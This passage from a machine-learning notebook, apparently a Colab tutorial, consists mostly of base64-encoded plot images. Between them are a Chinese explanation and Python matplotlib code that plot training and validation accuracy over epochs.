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\n", 592 | "text/plain": [ 593 | "
" 594 | ] 595 | }, 596 | "metadata": { 597 | "tags": [], 598 | "needs_background": "light" 599 | } 600 | } 601 | ] 602 | }, 603 | { 604 | "cell_type": "markdown", 605 | "metadata": { 606 | "id": "ZR9hbFm_4guG", 607 | "colab_type": "text" 608 | }, 609 | "source": [ 610 | "以下程式可以繪製訓練過程的正確率變化。訓練的過程中,當 Accuracy 後期並有沒太大的變化,表示 Model 很快就在假設空間裡進行不錯的收斂。" 611 | ] 612 | }, 613 | { 614 | "cell_type": "code", 615 | "metadata": { 616 | "id": "PGiIWDC41M0i", 617 | "colab_type": "code", 618 | "outputId": "d4265c2a-3818-449e-986c-7254a1ad19c0", 619 | "colab": { 620 | "base_uri": "https://localhost:8080/", 621 | "height": 295 622 | } 623 | }, 624 | "source": [ 625 | "plt.clf()\n", 626 | "acc = history_dict['accuracy']\n", 627 | "val_acc = history_dict['val_accuracy']\n", 628 | "\n", 629 | "plt.plot(epochs, acc, 'bo', label='Training acc')\n", 630 | "plt.plot(epochs, val_acc, 'b', label='Validation acc')\n", 631 | "plt.title('Training and validation accuracy')\n", 632 | "plt.xlabel('Epochs')\n", 633 | "plt.ylabel('Accuracy')\n", 634 | "plt.legend()\n", 635 | "\n", 636 | "plt.show()\n" 637 | ], 638 | "execution_count": 16, 639 | "outputs": [ 640 | { 641 | "output_type": "display_data", 642 | "data": { 643 | "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYgAAAEWCAYAAAB8LwAVAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAADh0RVh0U29mdHdhcmUAbWF0cGxvdGxpYiB2ZXJzaW9uMy4yLjEsIGh0dHA6Ly9tYXRwbG90bGliLm9yZy+j8jraAAAgAElEQVR4nO3deZwU1bn/8c/DsC9RWVRkWA2i5CrbiBGDoDEG1J9cCEaRGNAkCGqM3ksMxh3lqtFEYyQmGDWoJKBxiSbuCC7RKCMCKooiYhxERRAEEWHg+f1xqoeepnummZnqnuX7fr361bWcqn6maOrpOqfqHHN3REREUjXKdwAiIlI7KUGIiEhaShAiIpKWEoSIiKSlBCEiImkpQYiISFpKEJI1M3vUzMbVdNl8MrOVZnZMDPt1M/t6NP0HM7skm7JV+JyxZvZEVeMUqYjpOYj6zcw2Jc22BL4CtkfzZ7r7rNxHVXuY2Urgx+7+VA3v14Ge7r68psqaWTfgPaCJu5fWRJwiFWmc7wAkXu7eOjFd0cnQzBrrpCO1hb6PtYOqmBooMxtqZiVm9gsz+wi4w8z2MrN/mNkaM/ssmi5M2ma+mf04mh5vZs+b2fVR2ffMbHgVy3Y3s2fNbKOZPWVm083s7gxxZxPjlWb2r2h/T5hZ+6T1p5nZ+2a21swuquD4HGZmH5lZQdKykWa2JJoeaGYvmtl6M1ttZjebWdMM+/qzmV2VNP/zaJsPzeyMlLLHm9mrZva5mX1gZpcnrX42el9vZpvM7PDEsU3afpCZLTCzDdH7oGyPzW4e57Zmdkf0N3xmZg8mrRthZouiv+FdMxsWLS9XnWdmlyf+nc2sW1TV9iMz+w/wdLT83ujfYUP0HflG0vYtzOzX0b/nhug71sLM/mlmP035e5aY2ch0f6tkpgTRsO0LtAW6AhMI34c7ovkuwJfAzRVsfxiwDGgP/Aq4zcysCmX/ArwMtAMuB06r4DOzifFU4HRgb6ApMBnAzHoDt0T73y/6vELScPeXgC+Ao1P2+5doejtwfvT3HA58GzirgriJYhgWxfMdoCeQ2v7xBfBDYE/geGCSmf13tO7I6H1Pd2/t7i+m7Lst8E/gpuhv+w3wTzNrl/I37HJs0qjsON9FqLL8RrSvG6IYBgJ3Aj+P/oYjgZWZjkcaQ4CDgO9G848SjtPewEIguUr0emAAMIjwPb4A2AHMBH6QKGRmfYBOhGMju8Pd9WogL8J/1GOi6aHAVqB5BeX7Ap8lzc8nVFEBjAeWJ61rCTiw7+6UJZx8SoGWSevvBu7O8m9KF+PFSfNnAY9F05cCs5PWtYqOwTEZ9n0VcHs03YZw8u6aoex5wANJ8w58PZr+M3BVNH07cE1SuQOSy6bZ743ADdF0t6hs46T144Hno+nTgJdTtn8RGF/Zsdmd4wx0JJyI90pT7o+JeCv6/kXzlyf+nZP+th4VxLBnVGYPQgL7EuiTplxz4DNCuw6ERPL7XP9/qw8vXUE0bGvcfUtixsxamtkfo0v2zwlVGnsmV7Ok+Cgx4e6bo8nWu1l2P2Bd0jKADzIFnGWMHyVNb06Kab/kfbv7F8DaTJ9FuFoYZWbNgFHAQnd/P4rjgKja5aMojv8jXE1UplwMwPspf99hZjYvqtrZAEzMcr+Jfb+fsux9wq/nhEzHppxKjnNnwr/ZZ2k27Qy8m2W86ZQdGzMrMLNromqqz9l5JdI+ejVP91nRd3oO8AMzawSMIVzxyG5SgmjYUm9h+1+gF3CYu3+NnVUamaqNasJqoK2ZtUxa1rmC8tWJcXXyvqPPbJepsLsvJZxgh1O+eglCVdVbhF+pXwN+WZUYCFdQyf4CPAR0dvc9gD8k7beyWw4/JFQJJesCrMoirlQVHecPCP9me6bZ7gNg/wz7/IJw9Ziwb5oyyX/jqcAIQjXcHoSrjEQMnwJbKvismcBYQtXfZk+pjpPsKEFIsjaEy/b1UX32ZXF/YPSLvBi43MyamtnhwP+LKca/ASeY2beiBuWpVP5/4C/AzwgnyHtT4vgc2GRmBwKTsozhHmC8mfWOElRq/G0Iv863RPX5pyatW0Oo2umRYd+PAAeY2alm1tjMTgZ6A//IMrbUONIeZ3dfTWgb+H3UmN3EzBIJ5DbgdDP7tpk1MrNO0fEBWAScEpUvAkZnEcNXhKu8loSrtEQMOwjVdb8xs/2iq43Do6s9ooSwA/g1unqoMiUISXYj0ILw6+zfwGM5+tyxhIbetYR6/zmEE0M6VY7R3d8Aziac9FcT6qlLKtnsr4SG06fd/dOk5ZMJJ++NwK1RzNnE8Gj0NzwNLI/ek50FTDWzjYQ2k3uStt0MTAP+ZeHuqW+m7HstcALh1/9aQqPtCSlxZ6uy43wasI1wFfUJoQ0Gd3+Z0Ah+A7ABeIadVzWXEH7xfwZcQfkrsnTuJFzBrQKWRnEkmwy8BiwA1gHXUv6cdidwMKFNS6pAD8pJrWNmc4C33D32Kxipv8zsh8AEd/9WvmOpq3QFIXlnZoea2f5RlcQwQr3zg5VtJ5JJVH13FjAj37HUZUoQUhvsS7gFcxPhHv5J7v5qXiOSOsvMvktor/mYyquxpAKqYhIRkbR0BSEiImnVm8762rdv7926dct3GCIidcorr7zyqbt3SLeu3iSIbt26UVxcnO8wRETqFDNLffq+jKqYREQkLSUIERFJSwlCRETSUoIQEZG0lCBERCSt2BKEmd1uZp+Y2esZ1puZ3WRmy6PhAPsnrRtnZu9Er3FxxSgikk+zZkG3btCoUXifNauyLWp2+8rEeQXxZ2BYBeuHE4YS7EkY7vIWKBs28TLCEJUDgcvMbK8Y4xSRBiqfJ+hZs2DCBHj/fXAP7xMmZL+P6m6flTiHqyMM8PF6hnV/BMYkzS8jDGU4BvhjpnKZXgMGDHARqVvuvtu9a1d3s/B+99252/7uu91btnQPp9fwatky+31Ud/uuXctvm3h17Zqb7ROAYs90Ds+0oiZelSSIfwDfSpqfCxQR+nhPHjf3EmByhn1MIAw2U9ylS5fdOyoiohN0Hk/QZum3N8vN9gkVJYg63Ujt7jPcvcjdizp0SPukuEi9VperOC66CDZvLr9s8+awPBfb/+c/u7e8prfvkjrYbCXLa3r7bOQzQayi/Ni8hdGyTMtFJIlO0NXbPt8n6GnToGXL8statgzLc7F9VjJdWtTEi4qrmI4njGtrwDeBl6PlbYH3gL2i13tA28o+S20QUhdVp4qmrldx5LuKJ99VXIl95KuKL4F8tEEQxvJdTRi3tgT4ETARmBitN2A68C5hXNmipG3PIIzXuxw4PZvPU4KQfMhnHbxO0PXjBJ1veUkQuX4pQUiu1fVGUp2gxV0JQiQW+a7i0QlaakJFCaJO38UkUl3VuQso342kY8fCjBnQtSuYhfcZM8LybI0dCytXwo4d4X13tq2J7aV2U4KQBqu6dwHl+y4W0Ala4qUEIXVada4AqnubZnVP8DVxBSASJwtVUHVfUVGRa8jRhiVxBZB8km/ZMvuTbKNG4cohlVn4RZ5tDBddFKqVunQJyUEneKlLzOwVdy9Ku04JQuqqbt1CtVCqrl1DdUvc24vUBxUlCFUxSZ1V3UbinDyJKlKHKUFInVUb7gISqc+UICSvqtPIrLuAROKlBCF5U93bTHUFIBIvNVJL3qiRWCT/1EgttVJ1G5lFJF5KEJI3uRjwRESqTglC8ka3mYrUbkoQUi3VuQtJjcwitVvjfAcgdVdqVxeJu5Ag+5P82LFKCCK1la4gpMqq29mdiNRusSYIMxtmZsvMbLmZTUmzvquZzTWzJWY238wKk9Zda2avR6+T44xTqkZ3IYnUb7ElCDMrIIw5PRzoDYwxs94pxa4H7nT3Q4CpwNXRtscD/YG+wGHAZDP7WlyxStXoLiSR+i3OK4iBwHJ3X+HuW4HZwIiUMr2Bp6PpeUnrewPPunupu38BLAGGxRirVIHuQhKp3+JMEJ2AD5LmS6JlyRYDo6LpkUAbM2sXLR9mZi3NrD1wFNA5xlilCnQXkkj9lu9G6snAEDN7FRgCrAK2u/sTwCPAC8BfgReB7akbm9kEMys2s+I1a9bkMOz6ozq3qYI6uxOpz+JMEKso/6u/MFpWxt0/dPdR7t4PuChatj56n+bufd39O4ABb6d+gLvPcPcidy/q0KFDXH9HvVXdzvJEpH6LM0EsAHqaWXczawqcAjyUXMDM2ptZIoYLgduj5QVRVRNmdghwCPBEjLE2SLpNVUQqEtuDcu5eambnAI8DBcDt7v6GmU0Fit39IWAocLWZOfAscHa0eRPgOTMD+Bz4gbuXxhVrQ6XbVEWkIuruuwFTd9siou6+JS3dpioiFVGCaMB0m6qIVESd9TVw6ixPRDLRFYSIiKSlBCEiImkpQdRx1X0SWkQkE7VB1GE1MWCPiEgmuoKow/QktIjESQmiDtOT0CISJyWIOkwD9ohInJQg6jA9CS0icVIjdR2WaIi+6KJQrdSlS0gOaqAWqb/cYdUqWLYM3n47vO+1F1x2Wc1/lhJEHacnoaUu274dFi+GTz+Fxo13vpo02b35HTvgyy/Da8uW9O8VrWvaFPbeGzp0KP/evn3Yfz5s3LgzASReb78dXl98sbNcy5Zw7LHxxKAEIdLAbNkCxcXw3HPw/PPwwgvQqhV861s7XwcfDAUFNf/Z27fDkiUwbx7Mnw/PPgsbNtT85+yO5s1h69aQZNJp23bXxJH63qpV6M+sKtxhzZryVwTLlsHq1TvLmIXnnHr1giOPhAMOCNO9ekGnTlX/7MooQUjerV8f/oOUlobXtm3ppyta16wZtGmz89W6dfn5fP0KrA3WrQtJ4Pnnw2vBgnBCBDjoIBg9Ovwife45mDMnLP/a12DQoJ0JY+BAaNFi9z97xw547bXyCeGzz8K6nj3h+9+Ho44KHUVW9m9c0XRBQTjRt2gRXumm0y1r1iycXHfsCMdpzRr45JPM72+9Ff6GtWvDib2mtW0bTvrf/W75JLD//iHmXNN4EJI3770H114Ld9yx84QVl+bNyyeM1CTSrl3mX4dVOTHmi3toj0okg+efh9dfD+uaNIGiop0n/UGDQhVKsv/8Z+eVRUXbHnFEOGapduyAN94IyWDePHjmmXDihXCSGzo0JIQhQ6CwMK6jEL/t20OSSCSO1OeRdteee4ZEkPrvkQsVjQehBCE598478H//B3fdFX75nX46DB6cXX1zuumCAvjqq1Bnm/ratCn98tTX2rVhH+m0alVx9UKHDtC5M/Tokftksm4dvPtuuCp4/vlwci8pCetSrwIOPXTXu96y2f+LL+7cd+rVx+DBIVls3LgzIXz6aVjfvXv5hKDbr2snJQipFZYuDXdZzZ4dGgUnTICf/7x2/JJ0D8mkouqF1Pdt23bdT8eO4Zdyjx473xPTe++9+3XFpaXwwQewYkVIBMnvK1aE6rmE/fYLJ+w42xES7ReJhPGvf+1sQ+jSJSSDoUPDq1u3mv1siUfeEoSZDQN+SxiT+k/ufk3K+q7A7UAHYB1h7OmSaN2vgOMJz2o8CfzMKwhWCaL2WrQIrroK7r8//II96yz4n/+BfffNd2RV5w6ffx4SxSefhKqZ1BN44pd8QqtW5RNGYrpHj3AnTbok8P77IUkkNGkSTryp2/ftG5bH1ViZyY4dIfG3apWfz5fqy0uCMLMC4G3gO0AJsAAY4+5Lk8rcC/zD3Wea2dHA6e5+mpkNAq4DjoyKPg9c6O7zM31eXU0Qs2bV3+cYXn45JIaHHw7VHT/9KZx3Xn7qWfNhy5YwtnemX/9ffpl+u7Ztd736SLx36hTP3UXScFWUIOK8t2MgsNzdV0RBzAZGAEuTyvQG/ieangc8GE070BxoChjQBPg4xljzor72xvr883DllfDEE+EBnqlTQ3LYc898R5ZbzZvDgQeGVyp3+OijncmiRYudCaGhHSepveJMEJ2AD5LmS4DDUsosBkYRqqFGAm3MrJ27v2hm84DVhARxs7u/GWOseVFRb6zZJgh3ePzx0HCYOMHsbkNkTXAPjZRXXhnuYOnQAa65JlQntWmT+3hqO7PQXtGxY2jkFamN8n13+GTgZjMbDzwLrAK2m9nXgYOARPPlk2Y22N2fS97YzCYAEwC61MFbJKrbG+vmzeGKI3WQoH333bVqIpE89t23evXE7uFzP/ssvNatC4/9T58e7rXv2BF+85sQV6tWVf8cEcm/OBPEKqBz0nxhtKyMu39IuILAzFoD33P39Wb2E+Df7r4pWvcocDjwXMr2M4AZENogYvo7YtOlS6hWSre8MitWwKhR4anUqVPDgzWpddzz58Pdd5d/oCdRlZGcPLp33/mgUOLEnzj5J88nlqW7e6dz55AkzjgjPw/0iEjNizNBLAB6mll3QmI4BTg1uYCZtQfWufsO4ELCHU0A/wF+YmZXE6qYhgA3xhhrXkybVr4NArLrjfWxx+DU6Ej+858wfHiYHjhw17JffbWzoTS1sfSppzI/4LPHHqH9oG3b8N6pU/n5xCsx/1//FW5dFZH6I7YE4e6lZnYO8DjhNtfb3f0NM5sKFLv7Q8BQ4Gozc0IV09nR5n8DjgZeIzRYP+buD8cVa77sbm+sO3bA1VfDJZfAIYeE20Z79Kj4M5o12/m4fir3cIvme++FO2MSJ/w99tCdMiKiB+XqjA0bYNw4+Pvfw9XDrbfmpzFaROqXfN3mKjVk6VIYOTJUC/32t+GWUT2QJCJxU4Ko5f72Nxg/PtwR9PTToatfEZFc0JCjtVRpKfziF3DSSaFPnYULlRxEJLd0BVELffopjBkT7jKaOBFuvDE0NouI5JISRC3zyivh+YaPP4bbbgvPFYiI5IOqmGqRmTNDtwvuoT8jJQcRyScliFpg61Y4++zQGH3EEeEqoijtTWciIrmjKqY827ABjj8+DLzy85+HkdYa8vjJIlJ76FSUR5s2wXHHhWEcZ8+Gk0/Od0QiIjspQeTJl1/CiSfCSy/BnDnwve/lOyIRkfKUIPLgq69CQpg/H+66S8lBRGonJYgcKy0Nzzg8+ijMmFG3R44TkfpNdzHl0PbtocO9Bx4IfSr95Cf5jkhEJDMliBzZsQPOPBP+8pcwFOe55+Y7IhGRiilB5IA7/Oxn4cnoSy4JfSyJiNR2ShAxc4cpU+Dmm+F//xeuuCLfEYmIZEcJImZXXgm/+hVMmgTXXadxHESk7lCCiNF118Fll4UuNG6+WclBROqWWBOEmQ0zs2VmttzMpqRZ39XM5prZEjObb2aF0fKjzGxR0muLmf13nLHWtOnT4YILwtPRf/oTNFIqFpE6JrbTlpkVANOB4UBvYIyZ9U4pdj1wp7sfAkwFrgZw93nu3tfd+wJHA5uBJ+KKtabdcQeccw6MGBEehCsoyHdEIiK7r9IEYWb/z8yqkkgGAsvdfYW7bwVmAyNSyvQGno6m56VZDzAaeNTdN1chhpz761/hRz+CY48NXWg0aZLviEREqiabE//JwDtm9iszO3A39t0J+CBpviRalmwxMCqaHgm0MbN2KWVOAf6a7gPMbIKZFZtZ8Zo1a3YjtHg88ACcdloYGvSBBzQKnIjUbZUmCHf/AdAPeBf4s5m9GJ2Y29TA508GhpjZq8AQYBWwPbHSzDoCBwOPZ4hthrsXuXtRhw4daiCcqnvssdDecOih8PDD0LJlXsMREam2rKqO3P1z4G+EaqKOhF/7C83spxVstgronDRfGC1L3u+H7j7K3fsBF0XL1icV+T7wgLtvyybOfJg1C/bdF4YPD3cpnX46tKmJ1CkikmfZtEGcaGYPAPOBJsBAdx8O9AH+t4JNFwA9zay7mTUlVBU9lLLv9kntGxcCt6fsYwwZqpdqg1mz4Mc/DuNHQxgZ7vzzw3IRkboumyuI7wE3uPvB7n6du38CEDUa/yjTRu5eCpxDqB56E7jH3d8ws6lmdmJUbCiwzMzeBvYBpiW2N7NuhCuQZ3b3j8qViy6CLVvKL9u8OSwXEanrzN0rLmDWHVjt7lui+RbAPu6+Mv7wsldUVOTFxcU5/cxMD76Zhc75RERqOzN7xd2L0q3L5griXiD5dLc9WtbgtWqVfnmXLrmNQ0QkDtkkiMbRcwwARNNN4wupbli6NFQnNU4ZcqllS5g2Lf02IiJ1STYJYk1SmwFmNgL4NL6Q6oZLL4XWreF3v4OuXUO1UteuGiVOROqPbIYcnQjMMrObASM8/PbDWKOq5V55Be67Dy6/HCZODC8Rkfqm0gTh7u8C3zSz1tH8ptijquUuvhjatQu3tIqI1FfZXEFgZscD3wCaW3TrjrtPjTGuWuu558JT09ddB1/7Wr6jERGJTzYPyv2B0B/TTwlVTCcBXWOOq1Zyh1/+Ejp2hLPPznc0IiLxyqaRepC7/xD4zN2vAA4HDog3rNrp8cfh+efDuNItWuQ7GhGReGWTIBLPCm82s/2AbYT+mBoU9/CEdPfuoTtvEZH6Lps2iIfNbE/gOmAh4MCtsUZVC91/PyxcCDNnQtMG/xSIiDQEFXa1EXWk9013fyGabwY0d/cNOYova3F2tbF9O/zXf4VnHV57TSPEiUj9UVFXGxVeQbj7DjObThgPAnf/Cviq5kOs3e6+G956Kzz7oOQgIg1FNm0Qc83se2aZuqar37ZuDQ/EDRgAI0fmOxoRkdzJpg3iTOB/gFIz20K41dXdvUE8BfCnP8HKlfCHP2TuvVVEpD7K5knqBjs+2ubNcOWVMHgwHHtsvqMREcmtShOEmR2Zbrm7P1vz4dQu06fDRx/BPffo6kFEGp5sqph+njTdHBgIvAIcHUtEtcSGDXDNNWGs6cGD8x2NiEjuZVPF9P+S582sM3BjbBHVEjfcAOvWwVVX5TsSEZH8yOYuplQlwEHZFDSzYWa2zMyWm9mUNOu7mtlcM1tiZvPNrDBpXRcze8LM3jSzpdEY1Tnx6afw61/D6NHQv3+uPlVEpHbJpg3id4SnpyEklL6EJ6or264AmA58h5BUFpjZQ+6+NKnY9cCd7j7TzI